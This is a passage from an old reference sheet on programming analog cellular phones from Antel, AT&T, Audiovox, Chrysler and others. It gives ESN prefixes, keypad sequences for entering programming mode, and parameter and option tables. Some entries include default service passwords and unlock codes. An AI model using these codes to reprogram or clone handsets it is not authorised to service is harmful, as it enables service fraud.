MIN Option: 1 1 + SEND
Initial Paging Channel: 4 0333 or 0334 + SEND
Access Overload Class: 2 XX + SEND
Preferred System: 1 0(B) or 1(A) + SEND
Group ID Format: 2 XX + SEND
Security Code: 4 XXXXX + SEND
Handsfree: 1 0(Disable) + SEND or 1(Enable) + SEND
Horn Alert: 1 0(Disable) + SEND or 1(Enable) + SEND
Antonomous Registration: 1 0(Disable) + SEND or 1(Enable) + SEND
Whereabouts Known: 1 0(Disable) + SEND or 1(Enable) + SEND
One-minute Audible Beep: 1 0(Disable) + SEND or 1(Enable) + SEND
Continuous Tone: 1 0(Disable) + SENd or 1(Enable) + SEND
Dual NAME: 1 0(Disable) + SEND or 1(Enable) + SEND
(When Dual NAM is enable, it begins programming again for second NAM)
Horn Alert: FCN + 9
New Unlock Code: NAM
Systyem Select: FCN + 4 + * or # (to scroll choices)
Selections include: Preferred (AB or BA)
Altr only (Alternate only A only or B only)
Pref only (A only or B only)
Roam only (No Home operation)
Home only
Alternate (Altrernate AB or BA)
Press END to exit and Store Selections
-------------------------------------------------------------------------------
ANTEL RADIANT 832 XL
-------------------------------------------------------------------------------
NAM Type: Tri-State
Manufacturer: Antel
Programmer: Motorola 1801 -- Celnam, Bytek or Curtis
ESN Prefix DEC: 178
HEX: B2
ESN, S/N match Required: Yes
Programmable Handset: No
Available Channels: 832
Phone Number Format: XXX-XXX-XXXX
Lock Code Format: XXX
MIN Option: Enabled
Repertory Option: Enabled
Handsfree Option: Disabled (Enabled if Equipped)
Local Use Option: Enabled
End-to-End Signalling: Enabled
Horn Alert Option: Enabled
System ID Format: XXXXX
Preferred System: A or B
Access Overload Class: XX
Group ID Format: XX
Initial Paging Channel: 333 or 334
Station Class: 08
Hex Address B7 B0
13 0 0 0 0 0 0 0 0
14 0 0 0 0 0 0 0 0
15 0 0 0 0 0 0 0 0
Hex Address 13
B7 Disable 32 Digit Dial
B2 Enable Special Lock
Hex Address 14
B7 to B4 Special Lock 1st Digit
B3 to B0 Special Lock 2nd Digit
Hex Address 15
B7 to B4 Special Lock 1st Digit
-------------------------------------------------------------------------------
ANTEL RADIANT 950
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: Sun Moon Star
Programmer: Handset
ESN Prefix DEC: 178
HEX: B2
ESN, S/N match Required: Yes
Available Channels: Power On
Enter sequence FCN + FCN + * + 950626 + *
Software version will be displayed
Enter NAM number (1 to 4) within 5 seconds + VOL UP
Enter parameter for each step + # + VOL UP
(to increment)
To complete programming, press FCN + END
# digits
System ID Format: 5 XXXXX + # + VOL UP
Station Class: 2 08 (Preset) + VOL UP
Mobile Number: 10 XXX-XXX-XXXX + # + VOL UP
Initial Paging Channel: 3 333 or 334 + # + VOL UP
Access Overload Class: 2 XX + # + VOL UP
Group ID Format: 2 XX + # + VOL UP
Lock Code A: 3 XXX + # + VOL UP
Lock Code B: 3 XXX + # + VOL UP
Local Use Option: 1 1 + # + VOL UP
MIN Option: 1 1 + # + VOL UP
Preferred System: 1 0(B) or 1(A) + # + VOL UP
End-to-End Signalling: 1 1 + # + VOL UP
Repertory Option: 1 1 + # + VOL UP
Horn Alert Option: 1 1 + # + VOL UP
Handsfree Option: 1 0(Disable) or 1(Enable) + # + VOL UP
Full Lock Enable: 1 0(Disable) or 1(Enable) + # + VOL UP
Enable Lock Mod: 1 1 + # + VOL UP
Enable Partial Lock Mode: 1 0(Disable) or 1(Enable) + # + VOL UP
Press FCN + END to exit program mode
-------------------------------------------------------------------------------
ANTEL RADIANT 950MX
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: Sun Moon Star
Programmer: Handset
ESN Prefix DEC: 178
HEX: B2
ESN, S/N Match Required: Yes
Available Channels: 832
Programming Sequence: Power On
Enter programming mode: FCN + FCN + * + 950626 + *
Software version will be displayed
Press (up arrow) key to advance
Select NAM 1, 2, 3 oe 4, within 5 seconds
Use (up arrow) and (down arrow) keys to step
through parameters
Press # after entering each parameter to store info.
Once all information has been programmed, press
FCN + FCN to exit
# digits
System ID Format: 5 XXXXX + #
Station Class: SCM 8 (should be displayed)
Mobile Number: 10 XXX-XXX-XXXX + #
Initial Paging Channel: 3 333 or 334 + #
Access Overload Class: 2 XX + #
Group ID Format: 2 XX + #
Lock Code A: 3 XXX + #
Lock Code B: 3 XXX + #
Local Use Option: 1 1 + #
MIN Option: 1 1 + #
Preferred System: 1 0(B) or 1 (A) + #
End-to-End Signalling: 1 1 + #
Repertory Option: 1 1 + #
Horn Alert Option: 1 1(Enable) or 0(Disable) + #
Handsfree Option: 1 1(Enable) or 0(Disable) + #
Full Lock Option: 1 1(Enable) or 0(Disable) + #
Lock Option: 1 1(Enable) or 0(Disable) + #
Partial Lock Option: 1 1(Enable) or o(Disable) + #
Horn Alert: FCN + 4 + 1
New Unlock Code: NAM
System Select: FCN + 5 + X
X=1 AB Pref A
X=2 BA Pref B
X=3 A only
X=4 B only
X=5 Home
Press CLR to exit.
-------------------------------------------------------------------------------
ANTEL STR 300, 350, 500, 550, 700, 770, 900 and 950
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: Antel
Programmer: Handset
ESN Prefix DEC: 146
HEX: 92
ESN, S/N Match Required: Yes
Programming Sequence: Enter sequence 04049 + FCN + FCN
ESN will be displayed
Once SEND to increment
Once parameter has been entered, press SEND
to enter step and increment
Press END to store programmed data in NAM and
resume normal operation
# digits
Area Code: 3 XXX + SEND
Mobile Number: 7 XXX-XXXX + SEND
System ID Format: 5 XXXXX
Local Use Option: 1 1 + SEND
MIN Option: 1 1 + SEND
Initial Paging Channel: 4 0333 or 0334 + SEND
Access Overload Class: 2 XX + SEND
Preferred System: 1 0(B) + 1(A) + SEND
Group ID Format: 2 XX + SEND
Security Code: 4 XXXXX + SEND
Handsfree Option: 1 0(Disable) + SEND or 1(Enable) + SEND
Horn Alert Option: 1 1 + SEND
Autonomous Registration: 1 0(Disable) + SEND or 1(Enable) + SEND
Whereabouts Known: 1 0(Disable) + SEND or 1(Enable) + SEND
One minute Audible Beep: 1 0(Disable) + SEND or 1(Enable) + SEND
Continuous Tone: 1 0(Disable) + SEND or 1(Enable) + SEND
Dual NAM: 1 0(Disable) + SEND or 1(Enable) + SEND
(Dual NAM is enabled, programming begins again for second NAM)
Horn Alert: FCN + 9
New Unlock Code: NAM
System Select: FCN + 4 + * or # (to scroll options)
Selections include: Preferred (AB or BA)
Altr Only (Alternate Only, A only, or B Only)
Pref Only (A Only or B only)
Roam Only (No Home Operation)
Home Only
Alternat (Alternate, AB or BA)
Press END to exit and store selection.
-------------------------------------------------------------------------------
ANTEL STR 1100 portable
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: Sanyo
Programmer: Handset
ESN Prefix DEC: 175
HEX: AF
ESN, S/N Match Required: Yes (17500 + last 5 digits)
Available Channels: 832
Programming Sequence: Enter sequence M(Mute) + 310# + 2567252
+ RCL (must be entered within 10 seconds of power up)
ESN will be displayed
Press (up arrow) + (up arrow) to increment
Select NAM (1,2 or 3) + (up arrow)
NAM Prog Exists - Press 0 (to reselect NAM #) or
Press 1 to enter program mode + (up arrow)
Once each parameter has been entered, press
(up arrow) to enter step and increment
Press STO to store programmed data in NAM and END
to resume normal operation
# digits
Mobile Number: 10 CLR + XXX-XXX-XXXX + (up arrow)
System ID Format: 5 CLR + XXXXX + (up arrow)
Local Use Option: 1 CLR + 1 + (up arrow)
MIN Option: 1 CLR + 1 + (up arrow)
Initial Paging Channel: 4 CLR + (0333 or 0334) + (up arrow)
Access Overload Class: 2 CLR + XX + (up arrow)
Preferred System: 1 CLR + 0(B) or 1(A) + (up arrow)
Group ID Format: 2 CLR + XX + (up arrow)
Unlock Code: 4 CLR + XXXX + (up arrow)
End-to-End Signalling: 1 CLR + 1 + (up arrow)
A/B Select: 1 CLR + 1 + (up arrow)
NAM Program Area Code: 1 CLR + 1 + (up arrow)
Discontinuous Trans: 1 CLR + (0 or 1) + 1 + (up arrow)
Press STO to store information and END to exit program mode.
New Unlock Code: NAM
System Select: FCN + 5 + 5 + 5, etc. (to scroll choices)
Selections include: Pref Only (A only or B only)
Standard (AB or BA)
Home Only
Alternate Only (BA or AB)
Press END to exit and store selection.
-------------------------------------------------------------------------------
ARA
-------------------------------------------------------------------------------
see GE CARFONE programming instructions
-------------------------------------------------------------------------------
ASTROTEL
-------------------------------------------------------------------------------
see OKI-400 series, handset programming instructions
-------------------------------------------------------------------------------
AT&T 1100 and 1200
-------------------------------------------------------------------------------
NAM Type: Tri-State
Manufacturer: Hitachi
Programmer: Motorola or Curtis
ESN Prefix DEC: 132
HEX: 84
ESN, S/N Match Required: No
Programmable Handset: No
Available Channels: 666
Phone Number Format: XXX-XXX-XXXX
Lock Code Format: XXX
MIN Option: Enabled
Repertory Option: Enabled
Handsfree Option: Enabled or Disabled
Local Use Option: Enabled
End-to-End Signalling: Enabled
Horn Alert Option: Enabled
System ID Format: XXXXX
Preferred System: A or B
Access Overload Class: XX
Group ID Format: XX
Initial Paging Channel: 333 or 334
Station Class: 00
Horn Alert: HORN
New Unlock Code: NAM
System Select: NAM
-------------------------------------------------------------------------------
AT&T 1300, 1300C and 1400
-------------------------------------------------------------------------------
NAM Type: Tri-State
Manufacturer: Mitsubishi
Programmer: Curtis or Bytek
ESN Prefix DEC: 134
HEX: 86
ESN, S/N Match Required: No
Programmable Handset: No
Available Channels: 666
MIN 1: XXX
Lock: XXX
MIN 2: XXX
System ID Format: XXXX
Horn Alert Option: 1
Handsfree Option: 1 (if equipped)
End-to-End Signalling: 1
Group ID Format: XX
Access Overload Class: XX
Station Class: 0000
Local Use: 1
Initial Paging Channel: 333 or 334
Preferred System: 1(A) or 0(B)
Manufacturer Options (for Curtis Programmer)
33 Enable System Select: 1
34 Roam Inhibit: 0
Horn Alert: HORN
New Unlock Code: NAM
System Select: When the manufacturer option, 33 above,
is enabled, the following sequence allows
system selection. This process must be
repeated each time the phone is turned on.
STORE + # + # + #, etc. (One of the following will appear)
AAABBB or BBBAAA Standard (AB or BA)
BBBAAA or AAABBB Alternate (BA or AB)
CSOAAA or CSOBBB Home
AAAAAA or BBBBBB Pref Only (A only or B only)
BBBBBB or AAAAAA Non-Pref Only (B only or A only)
Press CLEAR to exit
-------------------------------------------------------------------------------
AT&T 1710 portable
-------------------------------------------------------------------------------
see HITACHI CR-2111H
-------------------------------------------------------------------------------
AUDI
-------------------------------------------------------------------------------
see Motorola Programming (Use Program Sequence 6)
-------------------------------------------------------------------------------
AUDIOVOX BC-2 and CMT 125
-------------------------------------------------------------------------------
NAM Type: Tri-State
Manufacturer: Shintom
Programmer: Bytek, Curtis or Motorola
ESN Prefix DEC: 174
HEX: AE
ESN, S/N Match Required: Yes
Programmable Handset: No
Availble Channels: 666
Phone Number Format: XXX-XXX-XXXX
Lock Code Format: XXX
MIN Option: Enabled
Repertory Option: Enabled
Handsfree Option: Enabled or Disabled
Local Use Option: Enabled
End-to-End Signalling: Enabled
Horn Alert Option: Enabled
System ID Format: XXXXX
Preferred System: A or B
Access Overload Class: XX
Group ID Format: XX
Initial Paging Channel: 333 or 334
Station Class: 00
Manufacturer Options:
Hex Address B7 B0
13 0 0 0 0 0 0 0 1
14 0 0 0 0 0 0 0 0
15 0 0 0 0 0 0 0 0
16 0 0 0 0 0 0 0 0
17 0 0 0 0 0 0 0 0
18 0 0 0 0 0 0 0 0
19 0 0 0 0 0 0 0 0
1A 0 0 0 0 0 0 0 0
1B 0 0 0 0 0 0 0 0
Description:
Address 13 -- B0 Extended Digits
B3 Timer Beeper Tone
Address 14 -- Horn Alert Safety Timer
B0 B1 Duration
0 0 2 hours
1 0 4 hours
0 1 6 hours
1 1 8 hours
Address 18 -- Call Restriction Code - 1st two of three digits
B7 to B4 1st digit
B3 to B0 2nd digit
Address 19 -- Call Restriction Code - 3rd of three digits
B7 to B4 3rd digit
Address 1A -- Accumulated Timer Reset Code
1st two of three digits
B7 to B4 1st digit
B3 to B0 2nd digit
Address 1B -- Accumulated Timer Reset Code
3rd of three digits
B7 to B4 3rd digits
-------------------------------------------------------------------------------
AUDIOVOX BC55, CMT 410, CTX 1500, 2500, 3100, 4000, 4100 and SP 85
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: Toshiba
Programmer: Handset
ESN Prefix DEC: 138
HEX: 8A
ESN, S/N Match Required: No
Programmable Handset: Yes (requires current unlock code)
Available Channels: 832
Programming Sequence: Power On (unlock current unlock code mode)
XXX + FUNC + # + 1 XXX=000 (new units)
XXX=current unlock code
Enter each item, then press STO
# or * can be used to increment or decrement
FUNC + SND writes data in NAM
FUNC + CLR initialized phone
# digits
Mobile Number: 10 XXX-XXX-XXXX
Security Code: 3 XXX
System ID Format: 5 XXXXX
Access Overload Class: 2 XX
Group ID Format: 2 XX
Local Use Option: 1 1
MIN Option: 1 1
Initial Paging Channel: 4 0333 or 0334
Preferred System: 1 0(B) or 1(A)
Station Class: 4 1000
Program Options1: 8 XXXXX000 (see options below)
Program Options2: 8 XXXX0000 (see options below)
Safety Timer (CTX-4000): 2 00 to 31 hours
No Charge Airtime Delay: 3 000 to 255 seconds
Call Timer Reset Code: 3 XXX
Roam Inhibit Sys 1: 5 XXXXX
Roam Inhibit Sys 2: 5 XXXXX
Roam Inhibit Sys 3: 5 XXXXX
Roam Inhibit Sys 4: 5 XXXXX
Roam Inhibit Sys 5: 5 XXXXX
Reserved for Future Use: - -----------
Program Options1:
Audible Call Timer
Auto Lock
Auto Redial
Call Restriction
32-Digit Dialing
Not used
Not used
Not used
Program Options2:
Handsfree
End-to-End Signalling
Repertory Dialing
Horn Alert
Not used
Not used
Not used
Not used
Horn Alert: FCN + 2 + turn ignition off
New Unlock Code: NAM
System Select: Review - FUNC + 0 + 4 + FUNC + 0 + X
X=0 Standard (AB or BA)
X=1 Pref Only
X=2 Home
X=3 Non-Pref Only
(Roam inihibit specific System ID - NAM option)
-------------------------------------------------------------------------------
AUDIOVOX BC55A, CMT410A, CTR1900 transportable, CTX3100A, CTX4100A & SP85A
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: Toshiba
Programmer: Handset
ESN Prefix DEC: 138
HEX: 8A
ESN, S/N Match Required: No (see bar-graph label on transceiver)
Programmable Handset: Yes (requires current unlock code)
Available Channels: 832
Programming Sequence: Power On (unlock current unlock code mode)
XXX + FUNC + # + 1 XXX=000 (new units)
XXX=current unlock code
Enter each item, then press STO
# or * can be used to increment or decrement
FUNC + SND writes data in NAM
FUNC + CLR initialized phone and exits program mode
# digits
Mobile Number: 10 XXX-XXX-XXXX + STO
Security Code: 3 XXX + STO
System ID Format: 5 XXXXX + STO
Access Overload Class: 2 XX + STO
Group ID Format: 2 XX + STO
Local Use Option: 1 1 + STO
MIN Option: 1 1 + STO
Initial Paging Channel: 4 0333 or 0334 + STO
Preferred System: 1 0(B) or 1(A) + STO
Station Class: 4 1000 + STO
Program Options1: 8 XXXXX000 + STO (see options below)
Program Options2: 8 XXXX0000 + STO (see options below)
Safety Timer: 2 00 to 31 hours + STO
No Charge Airtime Delay: 3 000 to 255 seconds + STO
Call Timer Reset Code: 3 XXX + STO
Roam Inhibit Sys 1: 5 XXXXX + STO
Roam Inhibit Sys 2: 5 XXXXX + STO
Roam Inhibit Sys 3: 5 XXXXX + STO
Roam Inhibit Sys 4: 5 XXXXX + STO
Roam Inhibit Sys 5: 5 XXXXX + STO
Reserved for Future Use: - -----------
Program Options1:
Audible Call Timer
Auto Lock
Auto Redial
Call Restriction
32-Digit Dialing
Not used
Not used
Not used
Program Options2:
Handsfree
End-to-End Signalling
Repertory Dialing
Horn Alert
Not used
Not used
Not used
Not used
Horn Alert: FCN + 2 + turn ignition off
New Unlock Code: NAM
System Select: Review - FUNC + 0 + 4
Set - FUNC + 0 + X
X=0 Standard (AB or BA)
X=1 Pref Only
X=2 Home
X=3 Non-Pref Only
-------------------------------------------------------------------------------
AUDIOVOX CMT300 (BMW), CTX3200A, CTRX4200A, 832CO, C1000, CTR2000 & TCT400
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: Toshiba
Programmer: Handset
ESN Prefix DEC: 138
HEX: 8A
ESN, S/N Match Required: No (see bar-graph label on transceiver)
Stamped Model Number: CMT300, CTX3200A, 832CO, CTR2000, C1000, 3200A
CTX4200A, 4200A
Available Channels: 832
Programming Sequence: Power On (unlock if phone is in lock mode)
XXX + FUNC + # + 1 XXX=000 (new units)
XXX=current unlock code
Enter each item, then press STO
Press # or * to increment or decrement
FUNC + SND writes data in NAM
FUNC + CLR initializes phone and exits program mode
If the current unlock code doesn't allow program access, the phone may have
been programmed with an activation code (see last step)
If this is the case, the phone must be returned to the factory for programming.
Mobile Number: 10 XXX-XXX-XXXX + STO
Security Code: 3 XXX + STO
System ID Format: 5 XXXXX + STO
Access Overload Class: 2 XX + STO
Group ID Format: 2 XX + STO
Local Use Options: 1 1 + STO
MIN Option: 1 1 + STO
Initial Paging Channel: 4 0333 or 0334 + STO
Preferred System: 1 0(B) or 1(A) + STO
Station Class: 4 1000 + STO
Program Options1: 8 XXXXX000 + STO
Program Options2: 8 XXXXX000 + STO
Safety Timer: 2 00 to 31 hours + STO
No Charge Airtime Delay: 3 0000 to 255 seconds + STO
Call Timer Reset Code: 3 XXX + STO
Roam Inhibit Sys 1: 5 XXXXX + STO
Roam Inhibit Sys 2-25: 5 XXXXX + STO
NAM Reprogram Code: 5 XXXXX + STO
Reserved:
Reserved:
Reserved:
Activation Code: 7 XXXXXXX + STO
Program Options1:
Audible Call Timer
Auto Lock
Auto Redial
Call Restriction
32-Digit Dialing
Not used
Not used
Not used
Program Options2:
Handsfree
End-to-End Signalling
Repertory Dialing
Horn Alert
911 Dial
Not used
Not used
Not used
Horn Alert: FCN + 2 + turn ignition off
New Unlock Code: NAM
System Select: Review - FUNC + 0 + 4
Set - FUNC + 0 + X
X=0 Standard (AB or BA)
X=1 Pref Only
X=2 Home
X=3 Non-Pref Only
-------------------------------------------------------------------------------
AUDIOVOX CMT-500
-------------------------------------------------------------------------------
NAM Type: Tri-State
Manufacturer: Toshiba
Programmer: Motorola, Curtis or Bytek
ESN Prefix DEC: 138
HEX: 8A
ESN, S/N Match Required: No
Programmable Handset: No
Available Channels: 666
Phone Number Format: XXX-XXX-XXXX
Lock Code Format: XXX
MIN Option: Enabled
Repertory Option: Enabled
Hansfree Option: Enabled or Disabled
Local Use Option: Enabled
End-to-End Signalling: Enabled
Horn Alert Option: Enabled
System ID Format: XXXXX
Preferred System: A or B
Access Overload Class: XX
Group ID Format: XX
Initial Paging Channel: 333 or 334
Station Class: 00
Manufacturer Options:
Hex Address B7 B0
13 0 0 0 0 0 0 1 1
14 0 0 0 0 0 0 0 0
15 0 0 0 0 0 0 0 0
16 0 0 0 0 0 0 0 0
17 0 0 0 0 0 0 0 0
18 0 0 0 0 0 0 0 0
19 0 0 0 0 0 0 0 0
1A 0 0 0 0 0 0 0 0
1B X X X X X X X X
1C X X X X 0 0 0 0
Description:
Address 13 -- B0 Call Timer
B1 A/B Switch
Address 1B -- B4-B7 Call Timer Clear Code 1st Digit
B0-B3 Call Timer Clear Code 2nd Digit
Address 1C -- B4-B7 Call Timer Clear Code 3rd Digit
-------------------------------------------------------------------------------
AUDIOVOX SMT-1000
-------------------------------------------------------------------------------
NAM Type: Tri-State
Manufacturer: Toshiba
Programmer: Motorola, Curtis, or Bytek
ESN Prefix DEC: 138
HEX: 8A
ESN, S/N Match Required: No
Programmable Handset: No
Available Channels: 666
Phone Number Format: XXX-XXX-XXXX
Lock Code Format: XXX
MIN Option: Enabled
Repertory Option: Enabled
Handsfree Option: Enabled or Disabled
Local Use Option: Enabled
End-to-End Signalling: Enabled
Horn Alert Option: Enabled
System ID Format: XXXXX
Preferred System: A or B
Access Overload Class: XX
Group ID Format: XX
Initial Paging Channel: 333 or 334
Station Class: 00
Horn Alert: HORN
New Unlock Code: NAM
System Select: NAM (AB or BA only)
-------------------------------------------------------------------------------
AUDIOVOX CMT-3000
-------------------------------------------------------------------------------
NAM Type: Tri-State
Manufacturer: Toshiba
Programmer: Motorola, Curtis, or Bytek
ESN Prefix DEC: 138
HEX: 8A
ESN, S/N Match Required: No
Programmable Handset: No
Available Channels: 666
Phone Number Format: XXX-XXX-XXXX
Lock Code Format: XXX
MIN Option: Enabled
Repertory Option: Enabled
Handsfree Option: Disabled
Local Use Option: Enabled
End-to-End Signalling: Enabled
Horn Alert Option: Enabled
System ID Format: XXXXX
Preferred System: A or B
Access Overload Class: XX
Group ID Format: XX
Initial Paging Channel: 333 or 334
Station Class: 00
Manufacturer Options:
Hex Address B7 B0
13 0 0 0 0 0 0 0 1
14 0 0 0 0 0 0 0 0
15 0 0 0 0 0 0 0 0
16 0 0 0 0 0 0 0 0
17 0 0 0 0 0 0 0 0
18 0 0 0 0 0 0 0 0
19 0 0 0 0 0 0 0 0
1A 0 0 0 0 0 0 0 0
1B X X X X X X X X
1C X X X X 0 0 0 0
Description:
Address 13 -- B0 Call Timer
Address 1B -- B4-B7 Call Timer Clear Code 1st Digit
B0-B3 Call Timer Clear Code 2nd Digit
Address 1C -- B4-B7 Call Timer Clear Code 3rd Digit
Horn Alert: HORN ALERT + Turn ignition off
New Unlock Code: NAM
System Select: n/a
-------------------------------------------------------------------------------
AUDIOVIX CTX-4500 and CTX-5000 portable
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: Toshiba
Programmer: Handset
ESN Prefix DEC: 138
HEX: 8A
ESN, S/N Match Required: No
Stamped Model Number: CTX-5000
Programmable Handset: Yes (requires current unlock code)
Available Channels: 832
Programming Sequence: Power On (unlock current unlock code mode)
XXX + FUNC + # + 1 XXX=000 (new units)
XXX=current unlock code
Enter each item, then press STO
# or * can be used to increment or decrement
FUNC + SND writes data in NAM
FUNC + CLR initialized phone and exits program mode
# digits
Mobile Number: 10 XXX-XXX-XXXX + STO
Security Code: 3 XXX + STO
System ID Format: 5 XXXXX + STO
Access Overload Class: 2 XX + STO
Group ID Format: 2 XX + STO
Local Use Option: 1 1 + STO
MIN Option: 1 1 + STO
Initial Paging Channel: 4 0333 or 0334 + STO
Preferred System: 1 0(B) or 1(A) + STO
Station Class: 4 1000 + STO
Program Options1: 8 XXXXX000 + STO (see options below)
Program Options2: 8 XXXX0000 + STO (see options below)
Safety Timer: 2 00 to 31 hours + STO
No Charge Airtime Delay: 3 000 to 255 seconds + STO
Call Timer Reset Code: 3 XXX + STO
Roam Inhibit Sys 1: 5 XXXXX + STO
Roam Inhibit Sys 2: 5 XXXXX + STO
Roam Inhibit Sys 3: 5 XXXXX + STO
Roam Inhibit Sys 4: 5 XXXXX + STO
Roam Inhibit Sys 5: 5 XXXXX + STO
Reserved for Future Use: - -----------
Program Options1:
Audible Call Timer
Auto Lock
Auto Redial
Call Restriction
32-Digit Dialing
Not used
Not used
Not used
Program Options2:
Handsfree
End-to-End Signalling
Repertory Dialing
Horn Alert
Not used
Not used
Not used
Not used
Horn Alert: FCN + 2 + turn ignition off
New Unlock Code: NAM
System Select: Review - FUNC + 0 + 4
Set - FUNC + 0 + X
X=0 Standard (AB or BA)
X=1 Pref Only
X=2 Home
X=3 Non-Pref Only
-------------------------------------------------------------------------------
AUDIOVOX MVX 500 portable
-------------------------------------------------------------------------------
NAM Type: EPROM
Manufacturer: Toshiba
Programmer: Handset
ESN Prefix DEC: 138
HEX: 8A
ESN, S/N Match Required: No
Stamped Model Number: MVX 500
Available Channels: 832
Programming Sequence: Power On (unlock current unlock code mode)
XXX + FUNC + # + 1 XXX=000 (new units)
XXX=current unlock code
Enter each item, then press STO
# or * can be used to increment or decrement
FUNC + SND writes data in NAM
FUNC + CLR initialized phone and exits program mode
# digits
Mobile Number: 10 XXX-XXX-XXXX + STO
Security Code: 3 XXX + STO
System ID Format: 5 XXXXX + STO
Access Overload Class: 2 XX + STO
Group ID Format: 2 XX + STO
Local Use Option: 1 1 + STO
MIN Option: 1 1 + STO
Initial Paging Channel: 4 0333 or 0334 + STO
Preferred System: 1 0(B) or 1(A) + STO
Station Class: 4 1000 + STO
Program Options1: 8 XXXXX0XX + STO (see options below)
Program Options2: 8 XXX0X000 + STO (see options below)
Safety Timer: 2 00 to 31 hours + STO
No Charge Airtime Delay: 3 000 to 255 seconds + STO
Call Timer Reset Code: 3 XXX + STO
Roam Inhibit Sys 1: 5 XXXXX + STO
Roam Inhibit Sys 2: 5 XXXXX + STO
Roam Inhibit Sys 3: 5 XXXXX + STO
Roam Inhibit Sys 4: 5 XXXXX + STO
Roam Inhibit Sys 5: 5 XXXXX + STO
Reserved for Future Use: - -----------
Program Options1:
Audible Call Timer
Auto Lock
Auto Redial
Call Restriction
32-Digit Dialing - 0=16 digits, 1=32 digits
Not used
Data Auto Answer
Any Dial Answer
Program Options2:
Handsfree
End-to-End Signalling
Repertory Dialing
Not used
911 Dial
Not used
Not used
Not used
Horn Alert: FCN + 2 + turn ignition off
New Unlock Code: NAM
System Select: Review - FUNC + 0 + 4
Set - FUNC + 0 + X
X=0 Standard (AB or BA)
X=1 Pref Only
X=2 Home
X=3 Non-Pref Only
-------------------------------------------------------------------------------
AUDIOVOX PT300 portable
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: Toshiba
Programmer: Handset
ESN Prefix DEC: 138
HEX: 8A
ESN, S/N Match Required: No
Programmable Handset: Yes (requires current unlock code)
Available Channels: 832
Programming Sequence: Power On (unlock current unlock code mode)
XXX + FUNC + # + 1 XXX=000 (new units)
XXX=current unlock code
Enter each item, then press STO
# or * can be used to increment or decrement
FUNC + SND writes data in NAM
FUNC + CLR initialized phone and exits program mode
# digits
Mobile Number: 10 XXX-XXX-XXXX + STO + #
Security Code: 3 XXX + STO + #
System ID Format: 5 XXXXX + STO + #
Access Overload Class: 2 XX + STO + #
Group ID Format: 2 XX + STO + #
Local Use Option: 1 1 + STO + #
MIN Option: 1 1 + STO + #
Initial Paging Channel: 4 0333 or 0334 + STO + #
Preferred System: 1 0(B) or 1(A) + STO + #
Station Class: 4 1010 (binary) or 10 (dec) + STO + #
Program Options1: 8 XXXXX000 + STO + # (see options below)
Program Options2: 8 XXXX0000 + STO + # (see options below)
Safety Timer: 2 00 to 31 hours + STO + #
No Charge Airtime Delay: 3 000 to 255 seconds + STO + #
Call Timer Reset Code: 3 XXX + STO + #
Roam Inhibit Sys 1: 5 XXXXX + STO + #
Roam Inhibit Sys 2: 5 XXXXX + STO + #
Roam Inhibit Sys 3: 5 XXXXX + STO + #
Roam Inhibit Sys 4: 5 XXXXX + STO + #
Roam Inhibit Sys 5: 5 XXXXX + STO + #
Roam Inhibit Sys 6: 5 XXXXX + STO + #
Roam Inhibit Sys 7: 5 XXXXX + STO + #
Roam Inhibit Sys 8: 5 XXXXX + STO + #
Roam Inhibit Sys 9: 5 XXXXX + STO + #
Roam Inhibit Sys 10: 5 XXXXX + STO + #
Program Options1:
Audible Call Timer
Auto Lock
Auto Redial
Call Restriction
32-Digit Dialing - 0=16 digits, 1=32 digits
Not used
Not used
Not used
Program Options2:
Handsfree
End-to-End Signalling
Repertory Dialing
911 Dial
Not used
Not used
Not used
Not used
Horn Alert: FCN + 2 + turn ignition off
New Unlock Code: NAM
System Select: Review - FUNC + 0 + 4
Set - FUNC + 0 + X
X=0 Standard (AB or BA)
X=1 Pref Only
X=2 Home
X=3 Non-Pref Only
-------------------------------------------------------------------------------
BENTLEY BX7
-------------------------------------------------------------------------------
see NOVATEL 8320 for programming instructions
-------------------------------------------------------------------------------
BLAUPUNKT MT 8000AU
-------------------------------------------------------------------------------
see PANASONIC 6104EB
-------------------------------------------------------------------------------
BLAUPUNKT MT9000 and MT9000P
-------------------------------------------------------------------------------
see PANASONIC 6106/6110
-------------------------------------------------------------------------------
BLAUPUNKT MT9010 and MT9010P
-------------------------------------------------------------------------------
see Motorola handset programming instructions. Use programming sequence
number 6.
Horn Alert: FCN + 4
New Unlock Code: FCN + 6-digit security code + new 3-digit
Unlock Code + #
System Select: RCL/STO + repeatedly press *
(One of the following prompts will appear)
STD AB or STD BA (Standard)
SCAN BA or SCAN AB (Alternate)
SCAN A
SCAN B
Press # to enter selection.
-------------------------------------------------------------------------------
CHRYSLER VISORPHONE
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: OKI
Programmer: Keypad
ESN Prefix DEC: 129
HEX: 81
ESN, S/N Match Required: Yes
Available Channels: 832
Programming Sequence: Power On
After phone initialized, press 4 key and 6 key
simultaneously, then release.
Enter 10-digit password XXXXXXXXXX
0008693428 or 10-digit code programmed by
previous technician (enter within 20 seconds)
ESN and Software version will be displayed
Press 0 + 0 to initialize transceiver
Enter step number (1-9) then enter data
Press STO to enter each step
Press FUNC and phone reverts to "Press 1-9"
CLR key corrects data before STO is pressed
To program 2nd NAM, press * when phone displays
"Press 1-9" (this repeats steps 3-5)
Press CLR + CLR to write data in NAM
# digits
Mobile Number: 10 XXX-XXX-XXXX + STO + FUNC
System ID Format: 5 XXXXX + STO + FUNC
Initial Paging Channel: 3 XXX + STO + FUNC
Access Overload Class: 2 XX + STO + FUNC
Lock Code: 4 XXXX + STO + FUNC
Group ID Format: 2 XX + STO + FUNC
Station Class: 4 1000 + STO + FUNC
(Enter Station class in binary - 1000 binary, 08 decimal)
Options: 4 11X1 + STO + FUNC (see below)
Security Code: 6 XXXXXX + STO + FUNC
Press CLR + CLR to write data in NAM
Options: 0 (Disable)
1 (Enable)
MIN Option
Local Use
Handsfree
Audio mute
New Unlock Code: NAM
System Select: FUNC + 3 + 3 + 3, etc. (to scroll choices)
SCN AB
SCN BA
SCN A
SCN B
SCN Ho (Home)
SID NO. (Enter System ID #)
Press STO to enter selection
-------------------------------------------------------------------------------
CINCINATTI MICROWAVE portable
